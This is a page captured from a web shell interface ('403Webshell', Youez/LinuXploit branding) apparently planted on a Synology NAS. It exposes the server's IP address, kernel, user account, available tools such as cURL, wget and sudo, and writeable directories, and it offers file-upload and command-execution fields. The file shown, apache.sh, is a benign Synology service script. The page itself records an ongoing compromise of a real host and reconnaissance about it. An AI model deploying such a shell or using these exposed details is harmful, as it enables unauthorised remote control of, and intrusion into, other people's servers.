403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/@appstore/WebStation/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/@appstore/WebStation/tools/apache.sh
#!/bin/bash

case $1 in
    --sdk-mod-ver)
        echo "1.0"
        ;;
    --name)
        echo "Apache HTTP Server";
        ;;
    --pkg-ver)
        echo "1.0";
        ;;
    --vendor)
        echo "Synology";
        ;;
    --post)
        for service in pkg-apache22 pkg-apache24; do
            service_status=$(/usr/syno/bin/synosystemctl get-active-status "$service")
            if [ $? -eq 0 -a "$service_status" == active ]; then
                /usr/syno/bin/synosystemctl restart "$service"
            fi
        done
        ;;
    *)
        echo "Usage: $0 --sdk-mod-ver|--name|--pkg-ver|--vendor|--pre|--post"
        ;;
esac

Youez - 2016 - github.com/yon3zu
LinuXploit